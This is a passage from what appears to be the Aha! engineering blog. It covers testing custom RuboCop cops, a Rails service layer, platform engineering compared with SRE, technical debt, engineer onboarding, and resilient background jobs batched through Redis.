The RuboCop::Cop::Commissioner#investigate method will return an instance of RuboCop::Cop::Commissioner::InvestigationReport which is a simple struct class that has a list of offenses that have been recorded.

Put it all together

We end up with a test file that looks something like this:

describe RuboCop::Cop::ProtectedAttrAccessibleFields do
  let(:config) { RuboCop::Config.new({ described_class.badge.to_s => {} }, "/") }
  let(:cop) { described_class.new(config) }
  let(:commissioner) { RuboCop::Cop::Commissioner.new([cop]) }

  it "records an offense if we use allow account_id as a string" do
    source = <<~CODE
      attr_accessible :foo, 'account_id'
    CODE
    investigation_report = commissioner.investigate(cop.parse(source))

    expect(investigation_report.offenses).to_not be_blank
    expect(investigation_report.offenses.first.message).to eql described_class::ERROR_MESSAGE
  end

  it "records an offense if we use allow account_id as symbol" do
    source = <<~CODE
      attr_accessible :foo, :account_id
    CODE
    investigation_report = commissioner.investigate(cop.parse(source))

    expect(investigation_report.offenses).to_not be_blank
    expect(investigation_report.offenses.first.message).to eql described_class::ERROR_MESSAGE
  end

  it "doesn't record an offense if no protected attribute is used" do
    source = <<~CODE
      attr_accessible :foo
    CODE
    investigation_report = commissioner.investigate(cop.parse(source))

    expect(investigation_report.offenses).to be_blank
  end

end

Now that we know how to write tests, we can use them as a starting point for building new cops, extending existing cops, and ensuring that things continue to function as our application grows and evolves. These little investments into project-specific cops can end up being a large investment in the future health of the projects.

Sign up for a free trial of Aha! Develop

Aha! Develop is a fully extendable agile development tool. Prioritize the backlog, estimate work, and plan sprints. If you are interested in an integrated product development approach, use Aha! Roadmaps and Aha! Develop together. Sign up for a free 30-day trial or join a live demo to see why more than 5,000 companies trust our software to build lovable products and be happy doing it. -->

Service layer for business logic — Organizing code in a Rails monolith

Jonathan Steel — Thu, 06 Oct 2022 00:00:00 GMT

Our engineering team builds the Aha! suite using a Rails monolith. We carefully weighed a number of options before determining that this would provide the most lovable solution for our users and our team. But the discussion does not end with choosing this path for our code.

We work hard to build the best monolith possible so we can retain a high velocity and a clean code base.

One of the foundations of having a successful monolith is to ensure it is well-organized. Having a service layer for business logic can help keep Ruby on Rails code from growing out of control. Whichever framework you use, it will only help organize the common elements. Design a system for organizing your business logic code using well-defined, unambiguous patterns. Read on to learn how we did this for the Aha! suite.

Managing business logic

Rails does a great job of giving you a place to put just about any kind of code. When you create a new Rails project, it comes with an elegant predefined directory structure. There is a place for the models, views, controllers, tests, assets, database migrations, and much more. It does have its limitations though. The most common issue that Rails projects run into is how to deal with business logic.

When you look at tutorials of Rails code, they are usually beautiful, concise, simple, and easy to read. Many real-life projects start out this way as well. But over time, more and more business logic gets peppered into that clean, elegant code. You cannot avoid this business logic because you would not have a program without it. So as your Rails program grows and ages, all these clean areas of code will start to grow and look less and less like the ideal "Hello, world" examples. The question then quickly arises of where this code should go.

Often this complex business logic will start to collect in the controllers. A very common practice is to push that logic into the models in an attempt to keep the complexity in one spot. The size of your models is going to grow proportionally with the size of your application. Combining all your complicated and most frequently used logic together into a single location that never stops growing is a disaster waiting to happen. This will start to get painful as your application becomes a monolith and the code becomes unreadable.

Does Rails have a place for business logic? The Rails guides mention the lib directory as a place for extended modules for your application. You'll find some examples of pushing complex code into concerns, but most concerns are for code reuse. That code is still being included in the same places we said not to put the business logic.

Never force code into a framework if there is no clear place for it — you may have to venture off the Rails instead.

Business logic attracts complexity and tends to change more frequently than other areas of your code. This creates the perfect breeding ground for bugs and regressions. Any solution should isolate the business logic, making it easier to test and accelerate future changes. When file size increases proportionally with the application size, your code is destined to be hard to read, understand, and modify. The best way to prevent this is to create code that is narrowly focused instead of serving multiple purposes.

Creating a service layer

One concrete solution is to create a service layer composed of small objects that serve specific use cases. A service layer for business logic can help keep Ruby on Rails code from growing out of control. Whether you use Ruby on Rails or another language and framework, that framework will only help organize common elements. Take a cue from your framework and design a system for organizing your business logic code using well-defined, unambiguous patterns.

A common place to create a service later is in app/services. Each object will usually only serve a single purpose or possibly a few very tightly related purposes. Keeping these objects focused and constrained to a single purpose ensures that no matter how complex your monolith gets, these objects will never get too big. Here is an example of a simple service:

class ScheduledReportRunner
  def send_scheduled_report(scheduled_report)
    return unless allowed_to_send_report?(scheduled_report)

    reply_to = calculate_reply_to(scheduled_report)
    ScheduledReportMailer.scheduled_report_message(scheduled_report, reply_to).deliver.now

    scheduled_report.next_run += scheduled_report.send_frequency.days
    scheduled_report.save!
  end

  private

  def allowed_to_send_report?(scheduled_report)
    ...
  end

  def calculate_reply_to(scheduled_report)
    ...
  end
end

This class is small and easy to understand, use, and test.

describe ScheduledReportRunner do
  describe "#send_scheduled_report"
    it "delivers a scheduled report mail message"
      scheduled_report = create(:scheduled_report)
      expect(ScheduledReportMailer).to receive(:scheduled_report_message).with(scheduled_report, "support@aha.io").and_call_original
      described_class.new.send_scheduled_report(scheduled_report)
    end

    it "does not send a report that is not allowed to go out"
      scheduled_report = create(:scheduled_report, last_sent_at: 5.minutes.ago)
      expect(ScheduledReportMailer).to_not receive(:scheduled_report_message)
      described_class.new.send_scheduled_report(scheduled_report)
    end

    it "schedules the next run of the report"
      scheduled_report = create(:scheduled_report, send_frequency: 10.days)
      described_class.new.send_scheduled_report(scheduled_report)
      expect(scheduled_report.next_run).to be > 9.days.from_now
    end

    it "uses a custom reply_to when necessary"
      scheduled_report = create(:scheduled_report, last_sent_at: 5.minutes.ago, reply_to: "fred@aha.io")
      expect(ScheduledReportMailer).to receive(:scheduled_report_message).with(scheduled_report, "fred@aha.io").and_call_original
      described_class.new.send_scheduled_report(scheduled_report)
    end
  end
end

It is often useful to return rich domain objects specific to that service object. For example, instead of returning a single value, you can return an object that has a status, error codes, and multiple model objects. That object can then be passed around as a single unit that shows the correlation between the various items inside it.

Organizing with a service layer

In a controller, you can wrap all related business logic together into a single object, take the return value, and pass that on to your views. The rich return objects often eliminate the need to have multiple instance variables instantiated and drilled down through your views. Helper code can now be stored in a more appropriate place that is usable by parts of the code other than views.

Jobs and rake tasks often end up getting pretty complex as well. These should be very thin wrappers that parse arguments and then delegate to a service object. Structuring your code in this way makes it easy to call from the console if somebody wants to run a rake task or job manually. Having small classes also helps immensely with testing a monolith. By simplifying other areas of your application like models, controllers, and jobs, they now become much easier to test as well.

The service layer also provides isolation from the rest of your Rails code. Isolation is desirable to provide room for experimentation. You can use whatever coding style you want to create these objects without enforcing that structure on other parts of the code. You can use plain old Ruby objects, classic object-oriented inheritance hierarchies, object composition, meta programming, or even some esoteric bash script you wrote years ago. I prefer small and simple plain old Ruby objects, which are easy to follow.

It also does not matter how you organize files within the service layer, especially at first. As your service layer grows, patterns will emerge and you can reorganize by creating subdirectories and moving files around. But no matter how big or organized this code gets, you can always create a new subdirectory and try out a new experimental approach there.

Shipping a Minimum Lovable Product

Using a service layer helps us to align our work with our team and company goals. We always strive for the Minimum Lovable Product (MLP), only shipping features when they are ready from a technical standpoint. An MLP is an initial offering that users love from the start. It should also be loved by the engineers that are working to maintain it.

Features cannot just look good on the frontend — they should be well-organized in the background as well.

The service layer helps you ship strong code the first time. When you are first authoring a feature, it is very simple to take a chunk of code and create a service object out of it. This means you are more likely to do that right from the start instead of waiting to refactor at a later date. If you do need to refactor, it will mean shuffling around code in small isolated objects and files. That is much easier than coming back after your feature is ready and trying to collect up all the logic you sprinkled around in models, controllers, and views. The service layer is so easy to use that you will feel guilty pushing up a pull request with code where it should not be.

If used properly, the service layer will help keep your Rails code looking like the simple examples of the Rails guides. It helps to avoid technical debt and allows Rails to accomplish what it was built for. It also helps reduce the complexity of implementing, maintaining, and testing business logic. It will help you deliver great features with your growing monolith and keep you happing while doing it.

We will continue to evolve our monolith and make alterations to the architecture to meet our growing needs. Read our other posts on how we chose to utilize a monolith for the Aha! suite:

From One, Many — Building a Product Suite With a Monolith

Embrace the monolith: Adding a new product to Aha!

Sign up for a free trial of Aha! Develop

Platform Engineering vs. Site Reliability Engineering

Alex Bartlow — Thu, 22 Sep 2022 00:00:00 GMT

Striker and goalie. Offense and defense. Deploy and recalibrate. Many disciplines have dichotomy between the tasks that accomplish a goal and tasks that protect the ability to do so. Delivering features, building out user flows, and optimizing conversion rates constitute the "offense" of many software companies. All of these activities are directly tied to the goal of growing the business. Defensive tasks encompass security, operations, and disaster recovery. These tasks are designed to prevent loss and empower the offense.

An engineering team cannot run optimal code or move the business forward with a weak infrastructure.

In the software world, this alliance is realized through the engineering and operations teams. Some organizations refer to these as the "profit-center" and "cost-center," respectively.

Traditional site reliability engineering

Though symbiotic, the relationship between engineering and operations may encounter pitfalls at more complex organizations. The introduction to Google's Site Reliability Engineering: How Google Runs Production Systems describes how the two groups may have varied goals, backgrounds, skill sets, incentives, vocabulary, and assumptions. And when left unchecked, strife can form as organizational effectiveness breaks down.

Google's solution to this problem is the discipline of site reliability engineering (SRE). Developers are tasked with writing software that creates a stable environment for the deployment and operation of the infrastructure. Site reliability engineers at Google work with development teams on a sort of contract — SRE runs the application only if development follows the practices needed to make the application run efficiently. If the development team does not hold up their end of the bargain, then the SRE will decline to hold up theirs and work with teams who do.

This works well for Google, but turning down work from one part of our engineering team is not an option for the Aha! team. We have no site reliability engineers on staff at Aha! — because we found a better way.

Unified engineering goals

We solved the problem of the development-operations split by defining clear goals for our dedicated platform team. Our platform team has goals similar to a traditional operations team, such as:

Operability — How do we run the system on a day-to-day basis and make routine changes?
Reliability — How do we ensure the system is available for our customers?
Resilience — When the system is unavailable, how do we get it running again?
Observability — How do we ensure that we know before our customers when the system needs help?

We have also adopted six additional goals to help us create a happy, effective, and high-performing engineering team:

Inverse toil

Toil refers to the time engineers spend doing repetitive work that doesn't deliver real value to customers. While the amount of manual work the platform team needs to do to operate production is higher than the rest of the engineering team, we still try to keep our time spent toiling to a minimum. For most of our platform engineers, it's less than 20% of their time. Google's SREs target 50% or less time spent toiling, so we believe that our investments in automation have been very effective.

Release velocity

How long does it take a pull request to be deployed after being flagged as ready? While we attempt to optimize the time taken in continuous integration, test automation is not a core focus for us. Our developers closest to the code are best suited to test it, so we leave that responsibility to them. We instead focus on the deployment pipeline — building the core images and getting them into production. Simplifying that process allows it to be done many times a day.

Change management

In addition to deployment speed, some changes require a gradual rollout or an experimental stage to validate the changes we made. The platform team manages the feature flag functionality at Aha! and continues to extend it to provide support for more use cases.

Developer productivity

The platform team maintains a robust logging system to allow our engineers to troubleshoot problems in production quickly and effectively without direct access to customer data. We maintain the Docker setup for local development to give engineers a stable way to run the application and all of its dependencies. Our dynamic staging setup allows us to get new features in front of the product, marketing, and Customer Success teams early in the development process.

Application performance

All engineers should attempt to create a performant application. Our focus on monitoring and observability allows us to find problems in production and start the troubleshooting process. Some features may need to go back into development for optimization, but we can often solve the problem through algorithmic tweaks, indexing changes, or other database management techniques. Our experience looking into these issues gives us a sense of where additional caching, reducing object allocations, or other techniques could be used to bolster end-user performance.

These goals and techniques are also shared by the DevOps movement, which attempts to push all the operations work back onto the engineering team. However, developing a large monolithic Rails application with a robust and modern front-end framework encompasses two very deep skill sets. Asking all of our engineers to also be AWS, networking, and database engineers is asking far too much.

Our platform team serves and empowers the rest of the engineering organization. All of our goals unite to serve the company vision.

Making complicated problems simple

Without new features to uncover what is currently possible with our infrastructure, we wouldn't be able to solve complex problems. Part of that empowerment entails building out all-new infrastructure and paradigms that can be used to solve tomorrow's problems. We've made a massive effort toward integrating Kafka into our infrastructure this year, which is typical of this kind of investment. By having some space away from product-facing work, we're able to think of our product engineers as internal customers. We can build out tools and infrastructure that will support the development of future features and products.

Platform for profit

Remember the profit-center vs. cost-center distinction? New development generally gets billed as profit-generating, but the operations side of an organization has the unique ability to drive costs down. This is done through fine-tuning the spend on Cloud resources, optimizing execution to require less of those resources in the first place, and selecting time-saving technologies.

Infrastructure budget is a vital component of the technical roadmap for any platform team. When the development team is bottlenecked for infrastructure reasons, the organization loses out on critical first-mover advantages in the marketplace.

Poor engineering practices can lead to a deficit of our most important asset — the team.

We want our teammates to love what they do — increasing employee joy is the aim and core of our company's existence. And it makes financial sense too. Replacing an engineer's institutional knowledge and expertise takes time. Attrition makes your hiring plan doubly difficult to achieve.

Need for speed

Focusing on optimization allows platform engineers to improve the company's service in noticeable ways. Speed is a feature because performance expectations are similar to the delays we expect in a normal conversation. A response of 100ms feels instantaneous but delays longer than one second start to interrupt the user's flow of thought. Beyond four seconds, the user can no longer smoothly interact with a system.

Products in your daily workflow should be reliable and resilient — these two factors drive the happy use of software.

Failures can occur through human error, hardware malfunction, or bugs in vendor packages. However, my experience has shown that a system that recovers quickly when it fails is viewed more favorably than one that fails infrequently but has a longer recovery time.

A system in this case may refer not only to your software and hardware, but also your operations, engineers, and customer success teams. When failures are still within the realm of exceptional behavior and are fixed rapidly, we find those customer interactions are generally positive — even lovable. Customers who love your product will keep using it (reducing churn, increasing profit) and expand the use of the product within their own organization. Platform teams support the broader engineering organization by being prepared to respond quickly to the most debilitating failure modes. This is a core overlap with SRE teams as well.

Structuring engineering teams

If SRE teams are the defense and engineers are the offense, then platform teams are the mid-fielders. They save goals as often as they score them. Their presence makes the rest of the engineering organization more effective at their core objectives.

However, keep in mind the time spent toiling. If the platform, infrastructure, QA, and tooling engineers spend over half of their time responding directly to incidents or on-call work, you may need a dedicated reliability team.

If every week has a new emergent behavior that requires platform engineers to drop everything and fix it, it's time to adopt more proactive measures to build resilience, monitoring, and fault-tolerance. And when those tasks take up more than half the platform team's time, it's time to honor reality and break off a dedicated reliability engineering team.

Platform and SRE teams do much of the same work — the division between them is more like a gradient than a clear line:

When the platform team is fully aligned with engineering and company goals, it can incorporate a healthy SRE culture that meets its needs. Focusing on observability, recovery, and reliability saves costs and increases reliability while the platform team works on enhancing the developer experience and building new infrastructure for future features or projects.

Grow your career and be happy

If this kind of alignment and environment sounds intriguing to you, come join us and work with the sharpest engineers I've ever had the pleasure of calling colleagues. Career happiness comes from doing meaningful work with motivated teammates and being appreciated for it. That is Aha! — a talented group of people changing how the best-known companies innovate and bring products to market.

Technical debt isn't technically debt

Jeremy Wells — Fri, 02 Sep 2022 00:00:00 GMT

The term "technical debt" has entered the standard lexicon of programming and software project development and has often been called out for being an incorrect metaphor. Yet it persists as a way to talk about the decisions made during software engineering. I believe it is over-used and often makes technical conversations more confusing.

Our team at Aha! has meaningful conversations about the trade-offs of software development without using the term "technical debt."

There are two common ways the term "technical debt" is used now. The first is when engineers are talking with someone who doesn't have the same technical context of a project. In this case, it may be used to smooth over the difficulty of communicating various ideas. Those ideas are typically:

We can deliver feature 1 faster but that means feature 2 will take longer.
This feature is going to take longer because of how we approached earlier features. You can see that those are conceptually similar other than the timing. The message is that the developer needs more time to work on these features. Calling it technical debt avoids the need to explain the finer details. You might also say:
We’ve incurred technical debt so we need to clean that up before planning the next features.

This communicates that engineering is not happy with the code as it stands. We would like to work on it without needing to worry about delivering functional changes. The term is again used to avoid further explanation and scrutiny. It has entered the mindset of many people in software development that "technical debt" is something that just happens and needs repaying.

The other common usage is between engineers as justification for making certain decisions or for why the code is the way it is. Many times it sounds like an excuse. If an engineer is embarrassed about the state of the code or architecture, they may call it technical debt to signal to other engineers that the problems arose due to external factors.

I’ll address the problems with these usages, but first let’s consider what technical debt should actually mean.

What is technical debt

Let's remove all the built-up subjective meaning that has crept into the term "technical debt." Similar to monetary debt, it is a balance between having what you need now and the total costs plus risk. That balance plays on our tendency to want results right now and to play down the long-term consequences. Consider the technical debt thought process:

You need to deliver a feature.

Option A: Deliver the current feature as fast as possible. Your subsequent features may take longer due to more necessary patchwork.
Option B: Take time to build a maintainable solution for the current feature. Your subsequent features may require less heavy lifting.

Which do you choose?

Not technically debt

I believe "debt" is simply the wrong way to describe this process. With monetary debt, your choice is clear and defensible: I need this money right now or I don’t. Ideally, the loan terms and outcomes are presented upfront.

This technical choice is not so cut and dry. Is Option B better? How can we be sure that investing extra time now will pay off later? For financial assets, calculating risk is a well-established process. Software development isn't as predictable. Future product and business decisions may alter your plans altogether. A shifting roadmap may waste your big investment.

Feasibility also plays a part. Software is built in layers — some of which we don't control. Architectural concepts emerge over time and change to meet the needs of the system. Is this choice apparent and real? Is the engineer working on the problem in a position to choose? I’ve been down enough dead-ends and thought experiments to say that often an apparent choice is a false one. Those experiments might inform later changes but that does not make the current implementation a debt.

Managing uncertainty

Option A may slow down your subsequent features, but it may not. You may have truly found a faster solution. Option B may save you hassle in the long run, or it may not. Your time spent upfront may be wasted if the roadmap changes drastically.

With all of the issues around estimating software projects, it is impossible to predict with certainty. The next feature might not be developed, the requirements might change. Traditional debt has fewer surprises. You don’t take out a loan on a car, discover it was a boat and find out you actually need to take it skiing.

Consider this choice instead:

You have one feature that you will deliver first and one follow-up feature.

Option A: Deliver the first feature faster with non-ideal code or technical choices to make the second feature easier.
Option B: Take longer to deliver the first feature and perform less rework for the second.

With either option, you haven't created a debt. You've simply made decisions about the timeline. This is called planning and all good plans take some finessing.

When relaying updates to cross-functional teammates, simply explain the problems and give realistic timelines based on what needs to happen. Blaming a delay on technical debt only hinders transparency and keeps your teammates in the dark.

With your development team, technical debt should not be an excuse to hide behind. Decisions are made, mistakes happen, external forces are at work. Discuss what happened and determine your next steps. Your project cannot be bankrupt by technical debt.

Investing time

Rarely do we have all the time we need to make our code perfect. But that's okay. You may have heard that "Premature optimization is the root of all evil in programming," from Donald E Knuth. Certain ideas about code and software are worth tempering — such as making code flexible or thinking about inflection points. But too much can lead to premature optimizations, over-abstractions, and needless configuration. The code itself is easy to change. If you don’t need a reusable abstraction now, add one later.

You've probably heard the saying, "Don't Repeat Yourself (DRY)" — and how applying that too early or aggressively can also introduce friction. Remember these rules of two and three.

For small code, use the rule of three:

I’m implementing this for the third time — I should introduce a generic way to handle this pattern.

Why three? Because you copied and pasted the first solution and made changes. On the third go, you understand the changes and are ready to solve it differently.

For larger concepts, use the rule of two:

I made this model and it worked well, but now I want to use it again and it doesn’t quite fit. I should restructure this to be useful.

You’ll want to reuse the concepts that drive other parts of the codebase. They might not be in a good state for reuse, so now is the time to analyze and create layers and abstractions.

The fact that you didn’t do that before is not technical debt. This is software development.

We work fast at Aha! and we use our products to build our products. Our team is happy, productive, and hiring — join us!

Engineering onboarding at Aha!

Phil Wilt — Thu, 04 Aug 2022 00:00:00 GMT

Software engineers are always eager to make major contributions upon joining a new company. But that's not always realistic with a large codebase. Aha! is a Rails monolith that has grown to quite a large codebase over the years. Navigating this new space can result in a feeling of being lost in code or even imposter syndrome. It is a fundamental challenge that many companies face.

We have been working hard to improve our onboarding program for our software engineers. After some difficult conversations and insightful feedback, we decided to overhaul our onboarding to set new software engineers up for success.

What was onboarding before?

Engineering's onboarding program used to be five weeks long and ran parallel to the onboarding that everyone at Aha! completes. Ours consisted mostly of reading low-level documentation and environment setup. The trouble is that engineering setup documentation gets stale fast. Every new hire was expected to use that to set up their machine and update the documentation accordingly if they ran into problems. However, new hires felt hesitant to update the documentation that the whole team uses. This led to even more staleness.

Each new engineer was assigned an “onboarding buddy" to have weekly check-ins with. The onboarding buddy answered questions, provided pair programing as needed, and introduced the company culture. But with the previous program, they were unable to do enough to help the new hire learn the codebase. Plus, each teammate only has a limited scope of knowledge about the application and our different teams. Having just one point of contact meant new engineers had to funnel their questions through their buddy. This made speaking up to the wider engineering team somewhat unintuitive.

It was an isolating experience that put the burden on the new hire to self-teach the codebase. It did not give the person enough exposure to the wider team. It did not teach high-level concepts of different parts of the application. Nor did it teach how the engineering organization was structured and the responsibilities and focus of each of our engineering teams. That led to increased feelings of frustration and imposter syndrome, which made it intimidating to participate in Slack channels, speak up in meetings, and demonstrate completed work.

Teammate insight

We realized that our large codebase and many engineering sub-teams mean we need to expose new hires to each area in pieces. The old onboarding process felt more like a firehose of information than a practical way to learn. If we could give the new person more exposure to each part of the application at a high level, they could ask more technical questions as needed. They would feel more comfortable asking questions in team Slack channels and meetings.

Asking questions openly is especially important in the engineering support rotation. Customers ask all sorts of questions about the application that engineers are expected to field. Those questions may not be directly related to the engineer's area of expertise in the application. Having a broad understanding of each engineering team and knowing who to ask is crucial to quickly resolving customers.

We want each engineer to feel welcome at Aha! and be set up for success. So how do we facilitate the necessary codebase and team knowledge through training? We already have an amazing Customer Success onboarding program that every person hired at Aha! goes through. Can we replicate that program and apply it to engineering?

Implementing change

We designed a more robust, eight-week program that exposes new hires to each sub-team's unique part of the codebase. This gives them more chances to interact with team members and provides broad exposure to the application as a whole. Most importantly, it makes sure that person does not feel like they are in a silo in their onboarding.

We ended the pain of development setup by moving our application into Docker. Asking the person who knows the least about our codebase to be the authority in updating the documentation was unfair. New engineers no longer have to deal with stale documentation causing unnecessary frustration in their first weeks.

Onboarding buddies now receive formal training and prepare new engineers for each of their onboarding tasks. The pair has short kickoff meetings on Mondays to help set expectations for the week. Then they have longer recap meetings on Fridays. This is a chance to highlight important things that happened that week, check in on the engineer and their progress, and give them a chance to ask questions.

The new program is tracked in an Aha! release with features for each week. Each week focuses on one engineering sub-team’s part of the application. It begins with high-level reading and then the relevant engineering lead presents an overview of their team. The lead introduces their team members, the team charter, and the high-level architecture of the part of the code base they oversee.

In addition to the engineering lead's presentation, we have a member of that engineering sub-team pair program with the new hire. That pairing session walks the person through a small part of the code base. They may review a feature the engineer is working on, a part of the application they are an expert in, or a bite-sized backlog feature that is easy to knock out in a few hours. While the feature may not be relevant to that new engineer's day-to-day work, the knowledge will come in handy for support rotation.

The benefits of these pair programming sessions are endless. They help on the workflow side by showing how different teams deliver work and how different engineers set up their tools and environments. Plus it allows for more collaborative interaction between the engineers to build camaraderie. Seeing another engineer forget method names and have to look up documentation shows the fallibility everyone experiences. The new engineer even has a chance to contribute with knowledge they already have — an instant confidence boost.

We have also written some code-along-with exercises for kinesthetic learning. This mirrors the exercises in the Customer Success onboarding program. In the engineering program, this lets the new engineer write some code or review part of the application from a more technical perspective. They are given guidelines for certain tasks in the application and may write some lines to show off in a meeting.

Observed changes

Quite a few new engineers have joined Aha! since we upgraded our onboarding program. The nervous looks on their faces fade as they uncover each component of onboarding. Our new teammates have provided positive feedback on the training — particularly about the pairing sessions. Meeting other engineers on the team and having one-on-one time working together is a great way to learn and collaborate. And our existing engineers enjoy getting to know the new hires during this process too.

The new hires are also getting a lot out of the assigned weekly activities. The activities provide structure for solving a problem in the codebase and incorporate the week's lessons into a kinesthetic learning experience. The weekly sub-team rotations help new engineers know which team to contact for specific tasks. We now see them confidently directing their questions to the appropriate teams.

The final big improvement we have seen is the pace at which meaningful features are delivered. Our new teammates are tackling challenging tickets right away on their first support rotation. They get to show off their hard work in engineering meetings as well as company-wide meetings. This assures us that we have set them up to succeed from the start.

We pride ourselves on hiring talented people and giving them the support they need to succeed. Our commitment to curiosity led us to wonder if our existing onboarding program was the best it could be. With insight from our newest engineers, we reconfigured onboarding to ensure everyone comes out of it feeling confident and eager to build. We're pleased to see that it has been quite successful.

Sign up for a free trial of Aha! Develop

Making background jobs more resilient by default

Kyle d’Oliveira — Thu, 21 Jul 2022 00:00:00 GMT

When it comes to job processing, timing is everything. Running jobs in the background helps us remove the load from the web servers handling our customer's requests. However, we also want the background jobs to run in a reasonable amount of time for our customers. But what if a customer added so many background jobs that they used all of the background worker resources?

The jobs will be processed by available workers in the order they come in, which works great for the customer that added these jobs. But unfortunately for other accounts, their segments won't refresh until the backlog of all of those jobs is finished. This could be a problem for those accounts — it would look like the system isn't functioning properly as it waits for the queue to clear.

We have solved this problem at Aha! by creating a module that:

Batches separate jobs together
Limits the runtime of any single job
Limits parallel processing

When a job utilizes this new module, it becomes resilient to this problem by default.

Let's explore this with an example to show how to prevent this slowdown for all accounts. Let's say we have Accounts with various Segments (i.e., "groups"). Whenever we update a Segment, we want to refresh that segment. This process could take a bit of time so we will put it into a background job. We may end up with some controller code that looks like this:

class SegementsController < ApplicationController
  def update
    segment = current_account.segments.find(params[:id])
    segment.update!(segment_params)
    SegmentRefresher.perform_later(segment)
    head :ok
  end
end

It is usually good to process what can be done immediately and then delay some of the more expensive work. This allows us to give immediate responses back to our customers and still perform the work that needs to be done. However, a customer could put thousands of SegmentRefresher jobs onto our background job queue and prevent other customers' jobs from running.

Batching separate jobs together

Typically, when a background job is enqueued via ActiveJob, the parameters for the job are passed in as arguments to perform_later. This isn't quite what we want in order to batch jobs together. Instead, we create a new method perform_batch_later that puts the arguments into a data store such as Redis from which the job can later retrieve them.

So previously the job code may have looked like the following:

class SegmentRefresher < ApplicationJob
  def perform(segment)
    # Refresh the segment
  end
end

We now have something that looks like this:

module BatchByAccount
  extend ActiveSupport::Concern

  class_methods do
    # Push the data into Redis and then enqueue the job
    def perform_batch_later(data)
      data.each_slice(100) do |slice|
        Redis.current.rpush(data_key, slice.map(&:id))
      end
      perform_later
    end

    def self.data_key
      "SegmentRefresher:#{Account.current.id}"
    end
  end
end

class SegmentRefresher < ApplicationJob
  include BatchByAccount

  def perform
    segment_ids = Redis.current.lpop(self.class.data_key, 100)
    Segment.where(id: segment_ids).each do |segement|
      # Refresh the segment
    end
  end
end

The controller can now call SegmentRefresher.perform_batch_later with one or more Segments and that will be stored in Redis. Later, the job will run and grab 100 of those segment ids at a time to process.

This technique can be really powerful. It allows multiple processes to not know about the other and still batch the data together. Further, we can utilize different Redis methods to get slightly different behaviors. For example:

Using rpush to add records and lpop to remove them will give us a first in/first out queue. We can use this when the order of the jobs is important.
Using spush to add records and spop to remove them will give us an unordered set. This means that duplicate data is automatically filtered out, which prevents unnecessary work from being done. However, it is unordered so the jobs may be processed in a different order than they were enqueued.
Using a timestamp and zadd to add records and zrangebyscore / zrem to remove them lets us create a delayed unordered set. This is useful for actions we want to perform in the future. This might show up if we want to perform an action five minutes after a customer stops interacting with an object.

Limiting the runtime of any single job

Now that we are batching data together, we want to limit how long a single job can run. In order to tackle this, we leveraged functionality from the job-iteration gem. This gem provides an interface where we can define an enumerator and what to do each iteration. The gem will handle the rest. Utilizing this, our job and module will now look like this: (For ease of reading, the bit of code already shown has been removed.)

module BatchByAccount
  extend ActiveSupport::Concern

  class_methods do
    def perform_batch_later(data)
      # ...
    end

    def self.data_key
      # ...
    end
  end

  included do
    include JobIteration::Iteration
  end

  def build_enumerator(*)
    Enumerator.new do |yielder|
      # We will pull 100 records out of the queue at a time and yield that to the enumerator
      while (segment_ids = Redis.current.lpop(self.class.data_key, 100)).any?
        yielder.yield segment_ids, nil
      end
    end
  end

end

class SegmentRefresher < ApplicationJob
  include BatchByAccount

  def each_iteration(segment_ids)
    Segment.where(id: segment_ids).each do |segement|
      # Refresh the segment
    end
  end
end

Notice that the SegmentRefresher 's perform method has been swapped for an each_iteration method.

As long as there is data in Redis, this job will continue to perform until we hit the time threshold as defined by JobIteration.max_job_runtime. The default is five minutes. Once we hit the threshold, the job will be interrupted and will re-queue itself. This will ensure that even if it takes a long time to refresh all of the segments, it won't monopolize a worker.

Limiting parallel processing

Now that data is batched together and individual jobs are handling things in batches, we want to prevent race conditions of multiple jobs running at once. We solved this by using the activejob-uniqueness gem.

With this gem, we can make the jobs unique. Duplicate jobs for a single account will be ignored. Because there is only one job, we have to handle a race condition of what would happen if our one job finished at the same moment that new data is added.

The resulting job ends up looking like this:

module BatchByAccount
  extend ActiveSupport::Concern

  class_methods do
    def perform_batch_later(data)
      # ...
    end

    def self.data_key
      # ...
    end
  end

  included do
    include JobIteration::Iteration
    unique :until_expired, lock_ttl: 5.minutes

    rescue_from(StandardError, with: :handle_error)

    on_shutdown do
      # Ensure than when we are interrupting the job, that we clear the lock so that it can be re-queued
      lock_strategy.unlock(resource: lock_key)
    end

    on_complete do
      if Redis.current.llen(self.class.data_key) > 0
        # This is the race condition
        # If we are complete, but there is still data in the queue, we need to enqueue a new job to process it
        self.class.perform_later
      end
    end
  end

  end

  def handle_error(exception)
    # Ensure we unlock the job on error
    lock_strategy.unlock(resource: lock_key)
    raise exception
  end

  # These arguments can be tweaked or overridden to lock on different criteria or allow
  # some amount of parallelism
  def lock_key_arguments
    [Account.current.id]
  end

  def build_enumerator(*)
    # ...
  end
end

class SegmentRefresher < ApplicationJob
  include BatchByAccount

  def each_iteration(segment_ids)
    # ...
  end
end

Resiliency by default

The job itself barely changed but it is now more resilient. By creating some easy-to-reuse patterns, engineers can focus more on their own features instead of worrying about common resiliency problems. We can put energy into making the right choice easy for everyone.

The final code will look like this:

module BatchByAccount
  extend ActiveSupport::Concern

  class_methods do
    def perform_batch_later(data)
      data.each_slice(100) do |slice|
        Redis.current.rpush(data_key, slice.map(&:id))
      end
      # If the job is already enqueued or running, this will be a no-op
      perform_later
    end

    def self.data_key
      "SegmentRefresher:#{Account.current.id}"
    end
  end

  included do
    include JobIteration::Iteration
    unique :until_expired, lock_ttl: 5.minutes

    rescue_from(StandardError, with: :handle_error)

    on_shutdown do
      # Ensure than when we are interrupting the job, that we clear the lock so that it can be re-queued
      lock_strategy.unlock(resource: lock_key)
    end

    on_complete do
      if Redis.current.llen(self.class.data_key) > 0
        # This is the race condition
        # If we are complete, but there is still data in the queue, we need to enqueue a new job to process it
        self.class.perform_later
      end
    end
  end

  end

  def build_enumerator(*)
    Enumerator.new do |yielder|
      while (segment_ids = Redis.current.lpop(self.class.data_key, 100)).any?
        yielder.yield segment_ids, nil
      end
    end
  end

  def handle_error(exception)
    # Ensure we unlock the job on error
    lock_strategy.unlock(resource: lock_key)
    raise exception
  end

  # These arguments can be tweaked or overridden to lock on different criteria or allow
  # some amount of parallelism
  def lock_key_arguments
    [Account.current.id]
  end

end

class SegmentRefresher < ApplicationJob
  include BatchByAccount

  def each_iteration(segment_ids)
    Segment.where(id: segment_ids).each do |segement|
      # Refresh the segment
    end
  end
end

Sign up for a free trial of Aha! Develop

How we launched a smooth billing overhaul

Chris Zempel — Fri, 01 Jul 2022 00:00:00 GMT

